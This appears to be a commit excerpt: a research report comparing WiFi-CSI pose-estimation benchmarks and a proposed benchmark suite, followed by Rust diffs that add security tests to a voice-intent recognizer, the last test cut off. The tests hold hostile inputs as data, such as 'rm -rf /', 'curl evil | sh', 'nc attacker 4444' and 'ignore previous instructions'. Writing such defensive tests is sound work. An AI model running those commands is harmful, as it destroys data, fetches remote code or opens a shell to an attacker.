- **But that number is not on a standard public benchmark.** WiFlow-STD's dataset is self-collected (5 subjects, 15 keypoints, 2D, in-domain random split, hardware unspecified). The academic frontier on the *standard* public 3D benchmark (MM-Fi) reports **PCK@20 ≈ 61% / MPJPE ≈ 161 mm random-split** (GraphPose-Fi, Nov 2025) — a *harder* metric (3D, mm-scale, standard PCK normalization). The project's own AetherArena MM-Fi number (**81.63% torso-PCK@20 in-domain**, ADR-150) uses a *torso-normalized PCK* that is looser than GraphPose-Fi's standard PCK, so the three numbers (96% / 81.6% / 61%) **cannot be lined up** without a unified harness. Making them comparable IS the highest-value work item.
|
||||
- The deployment frontier — **cross-subject / cross-environment generalization** — is where everyone collapses, the project included (ADR-150: 81.63% in-domain → ~11.6% leakage-free cross-subject). GraphPose-Fi independently confirms the cliff (61.1% random → 12.9% cross-environment PCK@20). This is the real research target, not in-domain PCK.
|
||||
|
||||
**Top 3 highest-value optimization/benchmark targets:**
|
||||
|
||||
1. **A unified, metric-locked accuracy harness in `wifi-densepose-train`** that scores any model under *one* explicit PCK definition (normalization, keypoint convention, split) so WiFlow-STD-repro, AetherArena/MM-Fi, and GraphPose-Fi numbers become directly comparable. Without this, no "beyond-SOTA" claim survives the "prove it" bar — the project has already been burned twice by metric ambiguity (the retracted 92.9% used absolute, not torso-normalized, PCK).
|
||||
2. **A QAT path for the WiFlow-STD-class edge model.** The in-tree edge work (`RESULTS.md`) has *fully characterized PTQ* (static QDQ conv-only is the int8 sweet spot; dynamic int8 is a no-op on this all-conv architecture) and found the **half model (843k params) strictly dominates the published 2.23M** and **tiny (56k, 295 KB ONNX fp32) holds 94.1% PCK@20**. The one untested lever is **quantization-aware training**, which the general literature says recovers most of the PTQ accuracy gap. That is the next defensible edge win.
|
||||
3. **Criterion-backed regression benches wired into CI** for the real Candle/ONNX forward path. The benches *exist* (`wifi-densepose-nn/benches/{inference,onnx,native_conv}_bench.rs`, `wifi-densepose-train/benches/training_bench.rs`) and `benchmarks/edge-latency/RESULTS.md` shows the methodology is sound (host≠ESP32 caveat made explicit). The gap is turning point-in-time captures into committed regression baselines.
|
||||
|
||||
---
|
||||
|
||||
## 2. Findings per research question
|
||||
|
||||
### RQ1 — Latest WiFi-CSI pose SOTA (2024–2026): published PCK@20 / MPJPE on the standard public benchmarks
|
||||
|
||||
The crucial framing: **"WiFi pose SOTA" splits into two non-comparable tracks** — 3D pose on MM-Fi/Person-in-WiFi-3D (mm-scale MPJPE, standard PCK) vs 2D pose on self-collected sets (image-normalized PCK). The project's flagship reproduction lives in the second track; the academic frontier lives in the first.
|
||||
|
||||
| Method | Venue / Year | Benchmark + split | PCK@20 | MPJPE | Grade |
|
||||
|---|---|---|---|---|---|
|
||||
| **GraphPose-Fi** (arXiv [2511.19105](https://arxiv.org/abs/2511.19105)) | PREPRINT, Nov 2025 | MM-Fi P1, **random split** | **61.1%** | **160.6 mm** (PA-MPJPE 105.0) | numbers MEASURED-in-study (preprint); beats MetaFi++, HPE-Li, DT-Pose |
|
||||
| GraphPose-Fi | same | MM-Fi P1, **cross-subject** | 44.2% | 210.5 mm | same |
|
||||
| GraphPose-Fi | same | MM-Fi P1, **cross-environment** | 12.9% | 302.7 mm | same — the generalization cliff |
|
||||
| **DT-Pose** (arXiv [2501.09411](https://arxiv.org/abs/2501.09411)) | PREPRINT (ICLR'25 OpenReview [aPnLQ6WfQQ](https://openreview.net/forum?id=aPnLQ6WfQQ)), Jan 2025; code [cseeyangchen/DT-Pose](https://github.com/cseeyangchen/DT-Pose) | MM-Fi (domain-gap + topology focus) | not cleanly extractable from abstract | reports MPJPE; self-supervised masked pretrain + topology decode | numbers NOT verified at exact-table level here — flagged |
|
||||
| **Person-in-WiFi-3D** (CVPR 2024, [openaccess](https://openaccess.thecvf.com/content/CVPR2024/html/Yan_Person-in-WiFi_3D_End-to-End_Multi-Person_3D_Pose_Estimation_with_Wi-Fi_CVPR_2024_paper.html)) | **PEER-REVIEWED**, CVPR 2024 | own 97k-frame multi-person set | — (multi-person, not single-PCK) | **91.7 mm (1p) / 108.1 (2p) / 125.3 (3p)** 3D joint error | MEASURED (peer-reviewed); own dataset, not MM-Fi |
|
||||
| **WiFlow-STD** (arXiv [2602.08661](https://arxiv.org/abs/2602.08661), [DY2434 repo](https://github.com/DY2434/WiFlow-WiFi-Pose-Estimation-with-Spatio-Temporal-Decoupling)) | PREPRINT, Apr 2026 | self-collected, 5-subj, **2D, in-domain random** | 97.25% (claimed) | 0.007 m (image-norm) | claimed CLAIMED; **project reproduced 96.09–96.61% (MEASURED, RTX 5080)** after repairing dataset/code |
|
||||
| **PerceptAlign** (arXiv [2601.12252](https://arxiv.org/abs/2601.12252)) | PREPRINT + MobiCom'26 acceptance | own 7-layout cross-domain 3D set | — | 222.4 mm (Scene4) / 317.1 (Scene5), claims −54% cross-env vs SOTA | CLAIMED (preprint); failure mode corroborated |
|
||||
| **Project AetherArena** (ADR-150, [issue #876](https://github.com/ruvnet/RuView/issues/876)) | internal | MM-Fi, **random split**, **torso-PCK** | **81.63% torso-PCK@20** | — | MEASURED-internal; **torso-PCK ≠ GraphPose-Fi standard PCK** |
|
||||
| **Project WiFlow-STD repro** (`benchmarks/wiflow-std/RESULTS.md`) | internal | their data, their split | **96.09–96.61%** | 0.0094–0.0098 m | MEASURED-internal (RTX 5080) |
|
||||
|
||||
**How the project's ~96% compares to the frontier:** It is *not directly comparable*. The 96% is on an easier task (2D, in-domain, image-normalized PCK, single-environment, 5 subjects) than GraphPose-Fi's 61.1% (3D, standard PCK, mm-scale). The project's own MM-Fi-track number (81.63% torso-PCK@20) *appears* to beat GraphPose-Fi's 61.1%, **but only because torso-PCK is a looser normalization** — the project explicitly flags this (ADR-150 cites beating "MultiFormer's 72.25%" under the *same* torso metric, not GraphPose-Fi's). The honest statement: **the project is competitive on in-domain MM-Fi under its own torso metric, and collapses cross-subject exactly as the published frontier does.** No public number lets the project claim "beyond-SOTA" today.
|
||||
|
||||
### RQ2 — What's winning architecturally now (2025–2026)
|
||||
|
||||
The clear trend across the verified 2025–2026 papers:
|
||||
|
||||
- **Graph / skeleton-aware decoders are the current academic SOTA on MM-Fi.** GraphPose-Fi (PREPRINT, Nov 2025) wins by injecting anatomical graph structure into the decoder — exactly the `GraphPose-Fi-style skeleton-aware graph head` ADR-150 §2.2 already names as the planned decoder. *The project's architecture direction matches the frontier.*
|
||||
- **Self-supervised masked pretraining (MAE) is the cross-domain lever, not capacity.** UNSW MAE study (arXiv [2511.18792](https://arxiv.org/abs/2511.18792), PREPRINT, Nov 2025): cross-domain gains scale **log-linearly with pretraining data, unsaturated at 1.3M samples**; ViT-Base adds only 0.4–0.9% over ViT-Small. Recipe: **80% masking, (30,3) small patches**. DT-Pose (arXiv 2501.09411) independently uses masked pretraining + topology constraints for the domain gap. *Caveat (MEASURED in ADR-152 §2.3): UNSW's downstream tasks are classification, not pose — pose transfer remains a hypothesis. The project's own measurement (b) found WiFlow-STD pretrained features give optimization transfer but NOT feature transfer to ESP32 CSI.*
|
||||
- **Spatio-temporal decoupling is the efficiency lever.** WiFlow-STD's whole contribution is decoupling spatial and temporal CSI processing to hit 2.23M params. The project verified the params/FLOPs (MEASURED) and then **beat it**: the half-model (843k) matches accuracy with 0.38× params (`RESULTS.md` efficiency sweep).
|
||||
- **Geometry/layout conditioning is the cross-layout lever.** PerceptAlign (MobiCom'26): fusing transceiver-position embeddings + two-checkerboard calibration, claimed −60% cross-domain. ADR-152 §2.1 already adopted this (`NodeGeometry`, geometry embeddings).
|
||||
- **NOT winning / absent:** diffusion models for CSI pose did not surface in the verified frontier. Full DensePose-UV regression from commodity WiFi remains undemonstrated (ADR-152 F5, MEASURED by full-text screening). No 2025–2026 paper was found that *beats the project's current direction* — the project is tracking, not trailing, the architecture frontier.
|
||||
|
||||
**Verdict RQ2:** the winning stack (MAE pretrain → graph/skeleton decoder → geometry conditioning, ViT-Small-class capacity) is *already the planned ADR-150/152 stack*. The gain available is not a new architecture; it's (a) more heterogeneous pretraining data and (b) honest cross-domain measurement.
|
||||
|
||||
### RQ3 — Edge/quantized inference SOTA for small CSI pose models
|
||||
|
||||
The in-tree edge work (`benchmarks/wiflow-std/RESULTS.md` "Edge optimization" + "Static PTQ" + "Efficiency sweep") is already at or beyond what the public literature offers for this specific model class, and is MEASURED. Key findings to carry forward:
|
||||
|
||||
- **Dynamic INT8 is a trap on all-conv CSI models.** WiFlow-STD has **zero `nn.Linear` layers** (21 Conv1d + 22 Conv2d + BatchNorm). `torch.quantize_dynamic` quantizes 0% of params (dynamic int8 has no conv kernels). MEASURED.
|
||||
- **Static QDQ conv-only PTQ is the int8 sweet spot.** PCK@20 96.60–96.63% (vs fp32 96.68%, dynamic 96.52%), 2.53 MB. All-ops QDQ is strictly worse (−1.4 pt). MEASURED.
|
||||
- **ONNX Runtime fp32 is the real CPU latency win**: 3.2 ms/window batch-1 vs torch 11.0 ms (~3.4×) at parity (2.4e-7). int8 is ~2× *slower* than ONNX fp32 at batch-1 (ConvInteger kernels). MEASURED.
|
||||
- **Smaller-than-published dominates.** half (843k) ≥ full on accuracy; **tiny (56k, 295 KB ONNX fp32, 0.66 ms/win, 94.1% PCK@20)** is the smallest deployable artifact. At tiny scale int8 is a *bad* trade (−1.43 pt for −47 KB). MEASURED.
|
||||
- **General QAT-vs-PTQ context (BLOG/VENDOR):** [NVIDIA TensorRT QAT blog](https://developer.nvidia.com/blog/achieving-fp32-accuracy-for-int8-inference-using-quantization-aware-training-with-tensorrt/), [Ultralytics QAT glossary](https://www.ultralytics.com/glossary/quantization-aware-training-qat), [ONNX Runtime quantization docs](https://onnxruntime.ai/docs/performance/model-optimizations/quantization.html): QAT "almost always" recovers accuracy PTQ loses on sensitive models; ONNX Runtime does NOT retrain (QAT must happen in PyTorch, then export QDQ). The [Onboard Optimization survey, arXiv 2505.08793](https://arxiv.org/pdf/2505.08793) (PREPRINT) covers on-device optimization broadly. These are *general* claims, not CSI-pose-specific — grade accordingly.
|
||||
- **Hailo / Pi target (CLAUDE.local.md):** the 4× Pi+Hailo cluster (Hailo-8 @ 26 TOPS / Hailo-10 @ 40 TOPS) needs a **HEF** compile path, which is its own toolchain (not ONNX/Candle). No in-tree HEF benchmark exists yet — this is a genuine gap for the edge-inference claim.
|
||||
|
||||
**Actionable for an inference-speed benchmark:** the honest comparand set is `{torch fp32, ONNX fp32, ONNX static-QDQ-conv-only int8, candle fp32}` × `{full, half, tiny}` on a fixed host, with the **host≠ESP32 / host≠Hailo caveat stated up front** (the `edge-latency/RESULTS.md` template already does this correctly). The one new datapoint worth producing: **QAT-int8 on the half model** to test whether QAT closes the PTQ −0.16 pt gap *and* keeps the size win.
|
||||
|
||||
### RQ4 — Rigorous, reproducible benchmark methodology
|
||||
|
||||
The repo already demonstrates the right methodology in three places — the ADR should codify it, not invent it:
|
||||
|
||||
- **`benchmarks/wiflow-std/RESULTS.md`** — the gold standard already in-tree: pinned upstream commit, seed-42 file-level split documented, corruption masks committed as ground truth, every forced deviation recorded, mean-pose honesty baseline, MEASURED-vs-CLAIMED grading.
|
||||
- **`benchmarks/edge-latency/RESULTS.md`** — criterion 0.5, explicit host machine, low/median/high brackets, contention caveat, host≠ESP32 separation, steady-state-vs-cold-start distinction.
|
||||
- **Rust micro-bench:** criterion benches already exist in both crates (`wifi-densepose-nn/benches/`, `wifi-densepose-train/benches/`).
|
||||
|
||||
What a credible "beyond-SOTA" claim requires (the bar that survives "prove it"):
|
||||
1. **One locked accuracy definition** — PCK normalization (torso vs absolute vs bbox), keypoint convention (15 vs 17 COCO), and split (random / cross-subject / cross-environment) declared *before* the run. The retracted 92.9% died exactly because PCK normalization was unstated.
|
||||
2. **A mean-pose / constant-output honesty baseline** on every split (already done in measurement (b) — a single-subject near-static set scored 95.9% torso-PCK@20 with a *constant* pose). Any claim must beat this.
|
||||
3. **MEASURED-vs-CLAIMED grading** per number, with the exact command and raw-JSON path committed.
|
||||
4. **Cross-domain, not just in-domain.** In-domain PCK is saturated and uninformative; the defensible claim is on cross-subject/cross-environment, where the frontier is 12–44% PCK@20.
|
||||
|
||||
---
|
||||
|
||||
## 3. Proposed benchmark-suite design
|
||||
|
||||
A two-part suite (`wifi-densepose-train` accuracy harness + `wifi-densepose-nn` latency harness), both committing raw JSON + a graded RESULTS.md.
|
||||
|
||||
### 3.1 Accuracy harness (`wifi-densepose-train`)
|
||||
|
||||
- **Metric module with one canonical PCK** (parameterized: `{torso, bbox, absolute}` normalization × threshold × keypoint-map), so a single function scores WiFlow-STD-repro, MM-Fi/AetherArena, and a GraphPose-Fi re-run identically. Lock the default to **torso-PCK@20 on 17-kp COCO** and *always* also print standard-PCK to expose the gap.
|
||||
- **Fixed datasets/splits:** (i) WiFlow-STD cleaned 360k (their split, for repro parity), (ii) MM-Fi P1 random + cross-subject + cross-environment (to line up against GraphPose-Fi 61.1/44.2/12.9 and the project's 81.63), (iii) ESP32 paired eval set when ≥2k multi-subject windows exist.
|
||||
- **Mandatory honesty baselines** emitted every run: mean-pose, constant-output, and (for cross-domain) source-only.
|
||||
- **Output:** raw JSON + a RESULTS.md table with MEASURED/CLAIMED grades, mirroring `benchmarks/wiflow-std/RESULTS.md`.
|
||||
|
||||
### 3.2 Latency/size harness (`wifi-densepose-nn`)
|
||||
|
||||
- **Matrix:** `{torch fp32 (ref), ONNX fp32, ONNX static-QDQ-conv-only int8, candle fp32}` × `{full 2.23M, half 843k, tiny 56k}` × `{batch 1, 64}`, criterion-timed, host declared.
|
||||
- **Report:** disk size, batch-1 + batch-64 ms/window (median + low/high), and PCK@20 on the locked 10k-window subset, so latency and accuracy never get cited apart.
|
||||
- **Caveat block up front:** host ≠ ESP32-S3/WASM3, host ≠ Hailo HEF. No host number is presented as the edge number.
|
||||
- **CI gate:** commit the current medians as regression baselines; fail PRs that regress latency >X% or accuracy >Y pt.
|
||||
|
||||
### 3.3 What counts as a defensible "beyond-SOTA" result
|
||||
|
||||
A claim is citable only if **all** hold: (1) scored under a pre-declared metric/split, (2) beats the relevant published frontier number *on the same metric definition* (e.g. >61.1% standard-PCK@20 on MM-Fi random, or >12.9% on cross-environment), (3) beats the mean-pose honesty baseline, (4) raw JSON + exact command committed, (5) graded MEASURED. The single most valuable "beyond-SOTA" target is **cross-environment MM-Fi**, where the published bar (12.9% PCK@20) is low enough that a real win is both achievable and unambiguous.
|
||||
|
||||
---
|
||||
|
||||
## 4. Gap table
|
||||
|
||||
| Capability | Project current (graded) | Published SOTA (graded) | Proposed target | Data / hardware needed |
|
||||
|---|---|---|---|---|
|
||||
| In-domain 2D PCK@20 (self-collected) | 96.09–96.61% (MEASURED, RTX 5080, WiFlow-STD repro) | 97.25% claimed (WiFlow-STD, CLAIMED) | match within noise + own architecture | cleaned 360k dataset (have); already met |
|
||||
| In-domain MM-Fi PCK@20 (torso-norm) | 81.63% torso-PCK (MEASURED-internal) | GraphPose-Fi 61.1% *standard*-PCK (PREPRINT) — **not comparable** | re-score both under **one** PCK def | MM-Fi P1 (have); unified metric harness (gap) |
|
||||
| **Cross-subject MM-Fi PCK@20** | ~11.6% torso (MEASURED, the cliff) | GraphPose-Fi 44.2% standard (PREPRINT) | close gap via MAE pretrain + graph decoder | 1.3M heterogeneous CSI corpus (ADR-150/152 §2.3), ViT-Small encoder |
|
||||
| **Cross-environment MM-Fi PCK@20** | untested-internal | GraphPose-Fi 12.9% standard (PREPRINT) | **beat 12.9% → cleanest beyond-SOTA win** | MM-Fi cross-env split + geometry conditioning (ADR-152 §2.1) |
|
||||
| ESP32 CSI→pose (17-kp) | no run beats mean-pose baseline (MEASURED, measurement b) | n/a (no public ESP32 pose benchmark) | beat mean-pose on temporal split | ≥2k multi-subject/multi-position paired windows (gap) |
|
||||
| Edge int8 size/accuracy | static QDQ conv-only 96.61% @ 2.53 MB; tiny 94.1% @ 295 KB fp32 (MEASURED) | no model-matched public number | **QAT-int8 on half model** (untested lever) | PyTorch QAT + QDQ export; RTX 5080 (have) |
|
||||
| Edge CPU latency | ONNX fp32 3.2 ms/win b1 host (MEASURED) | n/a (model-specific) | committed criterion regression baseline | host bench (have); ESP32/Hailo on-hardware (gap) |
|
||||
| Hailo HEF edge inference | none in-tree (gap) | n/a | first MEASURED HEF latency | Hailo compile toolchain + Pi cluster (have hardware, CLAUDE.local.md) |
|
||||
| Foundation encoder (MAE) | recipe adopted, untrained (ADR-152 §2.3) | UNSW: log-linear cross-domain scaling on *classification* (PREPRINT) | pose-transfer validation (hypothesis today) | 1.3M-sample corpus aggregation (priority per F3) |
|
||||
|
||||
---
|
||||
|
||||
## 5. Sources (graded)
|
||||
|
||||
| Source | Type | Grade | Used for |
|
||||
|---|---|---|---|
|
||||
| GraphPose-Fi, arXiv [2511.19105](https://arxiv.org/abs/2511.19105) | preprint | PREPRINT; table numbers MEASURED-in-study (fetched + quoted) | RQ1 MM-Fi frontier (61.1/44.2/12.9 PCK@20, 160.6/210.5/302.7 mm) |
|
||||
| WiFlow-STD, arXiv [2602.08661](https://arxiv.org/abs/2602.08661) + [DY2434 repo](https://github.com/DY2434/WiFlow-WiFi-Pose-Estimation-with-Spatio-Temporal-Decoupling) | preprint+code | numbers CLAIMED; artifacts MEASURED; **project repro 96% MEASURED** | RQ1/RQ2/RQ3 |
|
||||
| PerceptAlign, arXiv [2601.12252](https://arxiv.org/abs/2601.12252) | preprint + MobiCom'26 acceptance | CLAIMED numbers; failure mode corroborated | RQ1/RQ2 geometry conditioning |
|
||||
| UNSW MAE, arXiv [2511.18792](https://arxiv.org/abs/2511.18792) | preprint | ablations MEASURED-in-study; pose transfer = hypothesis | RQ2 MAE recipe |
|
||||
| DT-Pose, arXiv [2501.09411](https://arxiv.org/abs/2501.09411), OpenReview [aPnLQ6WfQQ](https://openreview.net/forum?id=aPnLQ6WfQQ), [code](https://github.com/cseeyangchen/DT-Pose) | preprint+code (ICLR'25) | exact MPJPE table NOT verified here — flagged | RQ2 masked-pretrain + topology |
|
||||
| Person-in-WiFi-3D, [CVPR 2024](https://openaccess.thecvf.com/content/CVPR2024/html/Yan_Person-in-WiFi_3D_End-to-End_Multi-Person_3D_Pose_Estimation_with_Wi-Fi_CVPR_2024_paper.html) | peer-reviewed | MEASURED (91.7/108.1/125.3 mm); own dataset | RQ1 3D multi-person frontier |
|
||||
| ONNX Runtime quantization [docs](https://onnxruntime.ai/docs/performance/model-optimizations/quantization.html) | vendor docs | VENDOR | RQ3 PTQ/QAT mechanics |
|
||||
| NVIDIA TensorRT QAT [blog](https://developer.nvidia.com/blog/achieving-fp32-accuracy-for-int8-inference-using-quantization-aware-training-with-tensorrt/), [Ultralytics](https://www.ultralytics.com/glossary/quantization-aware-training-qat) | vendor/blog | BLOG/VENDOR; general, not CSI-specific | RQ3 QAT>PTQ context |
|
||||
| Onboard Optimization survey, arXiv [2505.08793](https://arxiv.org/pdf/2505.08793) | preprint | PREPRINT | RQ3 on-device optimization landscape |
|
||||
| In-tree `benchmarks/wiflow-std/RESULTS.md`, `benchmarks/edge-latency/RESULTS.md`, ADR-150, ADR-152, ADR-015 | internal MEASURED | MEASURED-internal | grounding, all RQs |
|
||||
|
||||
**Unverified / flagged:** DT-Pose exact MM-Fi MPJPE table not extracted at primary-source precision (abstract-level only). GraphPose-Fi parameter count not reported in the paper. WiFlow-STD/PerceptAlign accuracy numbers are author-self-reported preprints. No CSI-pose-specific QAT benchmark exists in the public literature — the QAT recommendation rests on general (non-CSI) vendor/blog evidence.
|
||||
@@ -149,6 +149,44 @@ mod tests {
|
||||
assert!(sim_unrel < 0.3, "unrelated similarity too high: {sim_unrel:.3}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn embeddings_are_structurally_finite() {
|
||||
// SECURITY (NaN-poisoning): the embedding path takes only `&str` and
|
||||
// produces values via FNV feature-hashing + a guarded L2 normalise.
|
||||
// There is NO external float input and NO unguarded division, so a
|
||||
// crafted utterance cannot inject NaN/±Inf into a vector and poison the
|
||||
// cosine k-NN match. Prove every component is finite across adversarial
|
||||
// inputs (empty, punctuation-only, unicode, very long, control chars).
|
||||
for s in [
|
||||
"",
|
||||
"!!! ???",
|
||||
"turn on the kitchen light",
|
||||
"🔥🔥🔥 \u{0}\u{1}\u{7f} mix",
|
||||
&"x".repeat(10_000),
|
||||
"NaN inf -inf 1e999",
|
||||
] {
|
||||
let v = embed(s);
|
||||
assert_eq!(v.len(), EMBEDDING_DIM);
|
||||
assert!(
|
||||
v.iter().all(|x| x.is_finite()),
|
||||
"embedding of {s:?} contained a non-finite component"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn cosine_with_zero_vector_is_finite_not_nan() {
|
||||
// SECURITY (NaN-poisoning): an empty/punctuation-only utterance embeds
|
||||
// to the zero vector. Cosine against any exemplar must be a finite 0.0,
|
||||
// never NaN — so a below-threshold comparison stays well-defined and the
|
||||
// recognizer falls through (no action) rather than matching on garbage.
|
||||
let zero = embed("!!! ???");
|
||||
let real = embed("turn on the light");
|
||||
let sim = cosine_similarity(&zero, &real);
|
||||
assert!(sim.is_finite(), "cosine vs zero vector must be finite, got {sim}");
|
||||
assert_eq!(sim, 0.0, "dot product with the zero vector is exactly 0");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn identical_text_is_similarity_one() {
|
||||
let a = embed("lock the front door");
|
||||
|
||||
@@ -47,7 +47,9 @@ pub mod pipeline;
|
||||
pub mod embedding;
|
||||
|
||||
pub use intent::{Card, Intent, IntentName, IntentResponse};
|
||||
pub use recognizer::{IntentRecognizer, RecognizerError, RegexIntentRecognizer};
|
||||
pub use recognizer::{
|
||||
IntentRecognizer, RecognizerError, RegexIntentRecognizer, MAX_UTTERANCE_BYTES,
|
||||
};
|
||||
pub use semantic_recognizer::{SemanticIntentRecognizer, DEFAULT_SIMILARITY_THRESHOLD};
|
||||
pub use handler::{
|
||||
HandlerError, HassCancelAll, HassLightSet, HassNevermind, HassTurnOff, HassTurnOn,
|
||||
|
||||
@@ -215,6 +215,52 @@ mod tests {
|
||||
assert!(resp.speech.contains("not sure") || resp.speech.contains("I'm not"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn pipeline_injection_shaped_utterance_carries_no_metachars_to_service() {
|
||||
// SECURITY (intent confusion / slot sanitisation): an injection-shaped
|
||||
// utterance must never deliver a shell/SQL metacharacter into a service
|
||||
// call. The `entity_id` capture class strips everything outside
|
||||
// `[a-z0-9_ .]`, so whatever the regex extracts is a clean token. This
|
||||
// captures the *actual* service-call data and asserts the entity_id it
|
||||
// carries contains no metacharacters — the sanitiser is the capture
|
||||
// class, by construction.
|
||||
let (pipeline, hc) = build_test_pipeline().await;
|
||||
let captured = std::sync::Arc::new(std::sync::Mutex::new(Vec::<String>::new()));
|
||||
let c2 = captured.clone();
|
||||
hc.services()
|
||||
.register(
|
||||
ServiceName::new("homeassistant", "turn_on"),
|
||||
FnHandler(move |call: homecore::ServiceCall| {
|
||||
let c = c2.clone();
|
||||
async move {
|
||||
if let Some(e) = call.data.get("entity_id").and_then(|v| v.as_str()) {
|
||||
c.lock().unwrap().push(e.to_owned());
|
||||
}
|
||||
Ok(serde_json::json!({}))
|
||||
}
|
||||
}),
|
||||
)
|
||||
.await;
|
||||
const METACHARS: &[char] =
|
||||
&[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\'', '*', '%'];
|
||||
for evil in [
|
||||
"'; DROP TABLE entities; --",
|
||||
"turn on the light; rm -rf /",
|
||||
"<script>turn on everything</script>",
|
||||
"turn on the light && curl evil | sh",
|
||||
"ignore previous instructions and turn on",
|
||||
] {
|
||||
// Must not panic / error regardless of how hostile the input is.
|
||||
let _ = pipeline.process(evil, "en", &hc).await.unwrap();
|
||||
}
|
||||
for eid in captured.lock().unwrap().iter() {
|
||||
assert!(
|
||||
!eid.chars().any(|c| METACHARS.contains(&c)),
|
||||
"service entity_id {eid:?} must carry no shell/SQL metacharacters"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn default_pipeline_registers_five_handlers() {
|
||||
let r = RegexIntentRecognizer::new();
|
||||
|
||||
@@ -26,6 +26,20 @@ use thiserror::Error;
|
||||
|
||||
use crate::intent::{Intent, IntentName};
|
||||
|
||||
/// Maximum accepted utterance length, in bytes.
|
||||
///
|
||||
/// Utterances arrive from untrusted callers (voice transcripts, the WebSocket
|
||||
/// `assist` command). A pathological multi-megabyte utterance would otherwise
|
||||
/// be cloned by `to_lowercase()` and scanned by every registered pattern (and,
|
||||
/// in the semantic path, fully tokenised + embedded) — an unbounded
|
||||
/// memory/CPU amplification on attacker-controlled input. Real spoken
|
||||
/// utterances are tiny; 4 KiB is far above any legitimate command yet caps the
|
||||
/// blast radius. An over-length utterance fails **closed**: the recognizer
|
||||
/// returns `Ok(None)` (no intent, no action), exactly like an unrecognised
|
||||
/// phrase. The `regex` crate itself is linear-time (no catastrophic
|
||||
/// backtracking), so this bound is purely an allocation/throughput guard.
|
||||
pub const MAX_UTTERANCE_BYTES: usize = 4096;
|
||||
|
||||
#[derive(Error, Debug)]
|
||||
pub enum RecognizerError {
|
||||
#[error("regex compile error: {0}")]
|
||||
@@ -102,6 +116,12 @@ impl IntentRecognizer for RegexIntentRecognizer {
|
||||
utterance: &str,
|
||||
language: &str,
|
||||
) -> Result<Option<Intent>, RecognizerError> {
|
||||
// Fail-closed on an over-length utterance before any allocation/scan.
|
||||
// Untrusted input must not be able to force an unbounded `to_lowercase`
|
||||
// clone + per-pattern scan. Bound first, then normalise.
|
||||
if utterance.len() > MAX_UTTERANCE_BYTES {
|
||||
return Ok(None);
|
||||
}
|
||||
let normalised = utterance.trim().to_lowercase();
|
||||
let patterns = self.patterns.read().await;
|
||||
for pattern in patterns.iter() {
|
||||
@@ -183,6 +203,55 @@ mod tests {
|
||||
assert!(result.is_none());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn over_length_utterance_fails_closed() {
|
||||
// SECURITY (DoS / fail-closed): an utterance larger than the bound must
|
||||
// return Ok(None) WITHOUT being normalised or scanned. Crucially, even
|
||||
// an over-length utterance that *contains* a matching command must NOT
|
||||
// resolve — fail closed, never open.
|
||||
//
|
||||
// This FAILS against the pre-fix recognizer: there, a giant prefix
|
||||
// followed by "turn on the kitchen light" would still match HassTurnOn
|
||||
// (and force a multi-megabyte `to_lowercase` clone + scan first).
|
||||
let r = turn_on_recognizer().await;
|
||||
let huge = format!("{} turn on the kitchen light", "a ".repeat(MAX_UTTERANCE_BYTES));
|
||||
assert!(huge.len() > MAX_UTTERANCE_BYTES);
|
||||
|
||||
let result = r.recognize(&huge, "en").await.unwrap();
|
||||
assert!(
|
||||
result.is_none(),
|
||||
"over-length utterance must fail closed (no intent, no action)"
|
||||
);
|
||||
|
||||
// And a just-under-bound utterance still works, so the cap doesn't
|
||||
// break legitimate (tiny) commands.
|
||||
let ok = r
|
||||
.recognize("turn on the kitchen light", "en")
|
||||
.await
|
||||
.unwrap();
|
||||
assert!(ok.is_some(), "normal-length command must still resolve");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn pathological_backtracking_pattern_completes_in_bounded_time() {
|
||||
// SECURITY (ReDoS): the `regex` crate is a linear-time finite automaton,
|
||||
// so even a classic catastrophic-backtracking shape `(a+)+$` cannot hang
|
||||
// on a crafted adversarial input. This proves the recognizer terminates
|
||||
// promptly on the worst-case input the regex engine is asked to run.
|
||||
let r = RegexIntentRecognizer::new();
|
||||
r.register("Evil", r"(a+)+$", "*").await.unwrap();
|
||||
// Just under the length bound: all 'a' then a 'b' — the classic input
|
||||
// that destroys a backtracking engine. Linear-time regex shrugs.
|
||||
let evil = format!("{}b", "a".repeat(MAX_UTTERANCE_BYTES - 1));
|
||||
let start = std::time::Instant::now();
|
||||
let _ = r.recognize(&evil, "en").await.unwrap();
|
||||
let elapsed = start.elapsed();
|
||||
assert!(
|
||||
elapsed < std::time::Duration::from_secs(2),
|
||||
"linear-time regex must not hang on adversarial input; took {elapsed:?}"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn language_filter_skips_non_matching() {
|
||||
let r = RegexIntentRecognizer::new();
|
||||
|
||||
@@ -393,6 +393,63 @@ mod tests {
|
||||
assert!(matches!(err, AssistError::ParseError(_)));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn shell_metachars_never_survive_into_a_resolved_slot() {
|
||||
// SECURITY (command/argument injection): two layers of defense.
|
||||
// 1. There is NO subprocess — `spawn` is a lifecycle flag and
|
||||
// `RufloRunnerOpts` is inert, so no argv is ever built.
|
||||
// 2. Even so, the `entity_id` capture class is `[a-z_][a-z0-9_ .]*`,
|
||||
// which *excludes* every shell metacharacter. So when an
|
||||
// injection-shaped utterance DOES resolve (the regex is not exact-
|
||||
// anchored), the captured slot is a clean token with the hostile
|
||||
// tail stripped — never `;`, `|`, `$`, backtick, `&`, `/`, etc.
|
||||
// This pins the slot-sanitisation-by-construction property: a slot value
|
||||
// can never carry a metachar into a (future) argv.
|
||||
let mut runner = LocalRunner::new(turn_on_recognizer().await);
|
||||
runner.spawn(RufloRunnerOpts::default()).await.unwrap();
|
||||
const METACHARS: &[char] = &[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\''];
|
||||
for evil in [
|
||||
"turn on the light; rm -rf /",
|
||||
"turn on the light && shutdown -h now",
|
||||
"turn on the light | nc attacker 4444",
|
||||
"turn on the light `curl evil.sh | sh`",
|
||||
"turn on the light $(reboot)",
|
||||
] {
|
||||
let resp = runner
|
||||
.send_request(serde_json::json!({"utterance": evil, "language": "en"}))
|
||||
.await
|
||||
.unwrap();
|
||||
